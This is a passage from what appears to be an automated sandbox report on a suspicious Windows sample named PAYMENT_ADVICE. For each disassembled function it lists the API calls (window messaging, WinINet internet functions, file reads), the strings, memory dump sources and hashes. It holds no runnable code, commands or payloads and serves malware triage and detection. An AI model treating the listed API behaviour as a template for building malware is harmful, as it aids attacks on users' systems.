                                                                • Part of subcall function 00344F0B: __fread_nolock.LIBCMT ref: 00344F29
                                                              • _wcscmp.LIBCMT ref: 003A9824
                                                              • _wcscmp.LIBCMT ref: 003A9837
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _wcscmp$__fread_nolock
                                                              • String ID: FILE
                                                              • API String ID: 4029003684-3121273764
                                                              • Opcode ID: 681c06df677f1ca07e1a55f5521d20a932e8b5c3d74b93f04d96132b06f1db21
                                                              • Instruction ID: 7be5b47c8076aed76a3bfe2899b4ab892e811eafab20ac1fe8bf1a3bfa6fa4b2
                                                              • Opcode Fuzzy Hash: 681c06df677f1ca07e1a55f5521d20a932e8b5c3d74b93f04d96132b06f1db21
                                                              • Instruction Fuzzy Hash: BB41B671A00209BADF229AA1CC45FEFB7FDDF86710F01447AF904BF181DA75A9048B61
                                                              Function 00380574 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ClearVariant
                                                              • String ID: Dd@$Dd@
                                                              • API String ID: 1473721057-3375393111
                                                              • Opcode ID: 38779b4d8317d5e0d6e49299895285434f55baf3fc2f54047dd024d7c5d1cc54
                                                              • Instruction ID: 82a6e0fc1be4b1297cda5d46830dbfd0139722c9f7740bf13c73f67e6da5184a
                                                              • Opcode Fuzzy Hash: 38779b4d8317d5e0d6e49299895285434f55baf3fc2f54047dd024d7c5d1cc54
                                                              • Instruction Fuzzy Hash: 205110786087018FD796DF18C580A1ABBF1FB88344F56886DF9868B321E331E885CF42
                                                              Function 003B258E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003B259E
                                                              • InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 003B25D4
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: CrackInternet_memset
                                                              • String ID: |
                                                              • API String ID: 1413715105-2343686810
                                                              • Opcode ID: 39ca662e6fea7f7b20a6f181551c5a5dc36ad94d69c86ce1fb66f4f90da30911
                                                              • Instruction ID: 8d61da684235376ecf14f7ad134197e3e980e90a28f8568efc54656d88a1ab5c
                                                              • Opcode Fuzzy Hash: 39ca662e6fea7f7b20a6f181551c5a5dc36ad94d69c86ce1fb66f4f90da30911
                                                              • Instruction Fuzzy Hash: F8312871800119ABCF02EFA1CC85EEFBFB8FF08350F104159F954AA162EB316956DB60
                                                              Function 003C7A71 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 97windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,00001132,00000000,?), ref: 003C7B61
                                                              • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 003C7B76
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend
                                                              • String ID: '
                                                              • API String ID: 3850602802-1997036262
                                                              • Opcode ID: c28987faab0994beae231b40b29dd8383d792b8b052982a09796542b128ed5de
                                                              • Instruction ID: df0b653b2632e66034f69cdacd122564b38b5547333f853cdd0b0fa448c25a6e
                                                              • Opcode Fuzzy Hash: c28987faab0994beae231b40b29dd8383d792b8b052982a09796542b128ed5de
                                                              • Instruction Fuzzy Hash: 9541D175A0520A9FDB15CF68C981BEABBB9FB08300F11416AED04EB391D771AD51CF90
                                                              Function 003C6A63 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • DestroyWindow.USER32(?,?,?,?), ref: 003C6B17
                                                              • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 003C6B53
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$DestroyMove
                                                              • String ID: static
                                                              • API String ID: 2139405536-2160076837
                                                              • Opcode ID: d15c561571bdf025e246b11b5984ac9c5ab610552f216114f417587dde239f7d
                                                              • Instruction ID: 1bed7742868e5b2c53d68a0927d3d1aecccbf4a6b07b3eb1ef302fa0bd386d91
                                                              • Opcode Fuzzy Hash: d15c561571bdf025e246b11b5984ac9c5ab610552f216114f417587dde239f7d
                                                              • Instruction Fuzzy Hash: D4316D71200604AEDB129F69CC81FFB77A9FF48760F11862DF9A5D7190DA31AC91DB60
                                                              Function 003A28A2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003A2911
                                                              • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 003A294C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: InfoItemMenu_memset
                                                              • String ID: 0
                                                              • API String ID: 2223754486-4108050209
                                                              • Opcode ID: a402b82f5a30b5744fb433d3990281677f050cc7350e5c6c88403098e61287c8
                                                              • Instruction ID: 54fa2b38d5ad447a74ba631328609461c26903398d0540ee2c7ac1360d1f8cf7
                                                              • Opcode Fuzzy Hash: a402b82f5a30b5744fb433d3990281677f050cc7350e5c6c88403098e61287c8
                                                              • Instruction Fuzzy Hash: 2B31D2316003059FEB2ACF5CC985BAFBBB8EF46750F16402DED85A61A0D7709950CB51
                                                              Function 003C66D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 003C6761
                                                              • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 003C676C
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend
                                                              • String ID: Combobox
                                                              • API String ID: 3850602802-2096851135
                                                              • Opcode ID: 457fb3212a4725a88872a53a5a3bd93e1380f241d6b7f954f4126e78f6966c4f
                                                              • Instruction ID: 506a88109be025acad1ebb49a788e79ec9f90e599ea782a86393b112e30047c8
                                                              • Opcode Fuzzy Hash: 457fb3212a4725a88872a53a5a3bd93e1380f241d6b7f954f4126e78f6966c4f
                                                              • Instruction Fuzzy Hash: B9118275200208AFEF129F54CC82FBB376EEB49368F114529F918DB290D671DC6197A0
                                                              Function 003C6C07 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00341D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00341D73
                                                                • Part of subcall function 00341D35: GetStockObject.GDI32(00000011), ref: 00341D87
                                                                • Part of subcall function 00341D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00341D91
                                                              • GetWindowRect.USER32(00000000,?), ref: 003C6C71
                                                              • GetSysColor.USER32(00000012), ref: 003C6C8B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                              • String ID: static
                                                              • API String ID: 1983116058-2160076837
                                                              • Opcode ID: 6bbe52668395424420c18331e15e14fc05b355bcf13eabffad42b7b2e3f06c8c
                                                              • Instruction ID: 9d76210e46b663cd7337f99791dc1dcf9c2e5d41dc005d9cb0524b2db0899e72
                                                              • Opcode Fuzzy Hash: 6bbe52668395424420c18331e15e14fc05b355bcf13eabffad42b7b2e3f06c8c
                                                              • Instruction Fuzzy Hash: A1212672610209AFDF05DFA8CC46EFABBA9FB08314F014629F995E3250D735E861DB60
                                                              Function 003C6920 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetWindowTextLengthW.USER32(00000000), ref: 003C69A2
                                                              • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 003C69B1
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: LengthMessageSendTextWindow
                                                              • String ID: edit
                                                              • API String ID: 2978978980-2167791130
                                                              • Opcode ID: 998db419e309890ac8c1923c170d30abe43541508cff26a811bb5e8f0b3aa9db
                                                              • Instruction ID: 68b76061a255337e7638ab014f982b304344d9eb4277ead5253e1476b428f434
                                                              • Opcode Fuzzy Hash: 998db419e309890ac8c1923c170d30abe43541508cff26a811bb5e8f0b3aa9db
                                                              • Instruction Fuzzy Hash: 1A116D71500108AFEB128E649C42FEB37AEEB06374F514728F9A5D71E0C731DC519B60
                                                              Function 003A29AF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003A2A22
                                                              • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 003A2A41
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: InfoItemMenu_memset
                                                              • String ID: 0
                                                              • API String ID: 2223754486-4108050209
                                                              • Opcode ID: 376f28375461beada461217a9c0b70498487ec6b5c2d0bad02dfbb455dbec53e
                                                              • Instruction ID: 82da25bc5107b24b945dc27eb6d68c4b95c9902ba54cb387b128e7ea94549b24
                                                              • Opcode Fuzzy Hash: 376f28375461beada461217a9c0b70498487ec6b5c2d0bad02dfbb455dbec53e
                                                              • Instruction Fuzzy Hash: 1111D032A05114AFCF32DB9CD844BAB73B8EB47300F064021E855E7290DB30AD0ACB91
                                                              Function 003B21D6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 003B222C
                                                              • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 003B2255
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Internet$OpenOption
                                                              • String ID: <local>
                                                              • API String ID: 942729171-4266983199
                                                              • Opcode ID: 31a55a0b810022c35ad3e43d0f449c845b1d4e5811c2ca29f11e6533597b597e
                                                              • Instruction ID: 8595a4dc15c6824eb53a9083ba81d09e208c5b33a0109ec61f775937f94ec461
                                                              • Opcode Fuzzy Hash: 31a55a0b810022c35ad3e43d0f449c845b1d4e5811c2ca29f11e6533597b597e
                                                              • Instruction Fuzzy Hash: A811A370541225BEDB268F518C84EF7FBACFF16759F108B2AFA159A800D2705950D6F0
                                                              Function 0035092D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00343C14,004052F8,?,?,?), ref: 0035096E
                                                                • Part of subcall function 00347BCC: _memmove.LIBCMT ref: 00347C06
                                                              • _wcscat.LIBCMT ref: 00384CB7
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: FullNamePath_memmove_wcscat
                                                              • String ID: S@
                                                              • API String ID: 257928180-58448795
                                                              • Opcode ID: a05a2e77c3dc69690d4af89942311c734ac77e723f5e07d7a2826b1296759a8d
                                                              • Instruction ID: 2aebc0e7340791652904dbcb2209b2da4999ae27659a8043472229e4d5cbbb56
                                                              • Opcode Fuzzy Hash: a05a2e77c3dc69690d4af89942311c734ac77e723f5e07d7a2826b1296759a8d
                                                              • Instruction Fuzzy Hash: 1511A531905209AACB47FB64C806EDE77F8FF09341B0084A6BD48EB1A5EB71A7884B15
                                                              Function 00398E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                                • Part of subcall function 0039AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0039AABC
                                                              • SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00398E73
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameSend_memmove
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 372448540-1403004172
                                                              • Opcode ID: c860a605b9c1cb9a16c737d1a89a6e7f57c17f73dd51cc81401d3b4453acb286
                                                              • Instruction ID: 81b743ac30ee8bfeed689724f1f616d5e440b5dbfcfc2675d840408a48de711a
                                                              • Opcode Fuzzy Hash: c860a605b9c1cb9a16c737d1a89a6e7f57c17f73dd51cc81401d3b4453acb286
                                                              • Instruction Fuzzy Hash: D701B571E15619AB8F16EBA4CC568FE73A9AF46360B140A19F8215B3D2DF316808D690
                                                              Function 00398CFD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                                • Part of subcall function 0039AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0039AABC
                                                              • SendMessageW.USER32(?,00000180,00000000,?), ref: 00398D6B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameSend_memmove
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 372448540-1403004172
                                                              • Opcode ID: 8e379beea8593c88c5ae51206a45ec2ddaa9f21ec431a580711765e516e5b9ba
                                                              • Instruction ID: 40fc934742fc500817c86a8bded2fb7d38f9c34cdcc8c0540f2254111f24cf81
                                                              • Opcode Fuzzy Hash: 8e379beea8593c88c5ae51206a45ec2ddaa9f21ec431a580711765e516e5b9ba
                                                              • Instruction Fuzzy Hash: 6201F7B1A41509ABDF17EBE0C952EFE73ACDF56340F100019B8016B2D2DF106E08D2B1
                                                              Function 00398D82 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                                • Part of subcall function 0039AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0039AABC
                                                              • SendMessageW.USER32(?,00000182,?,00000000), ref: 00398DEE
                                                              Strings
                                                              Memory Dump Source
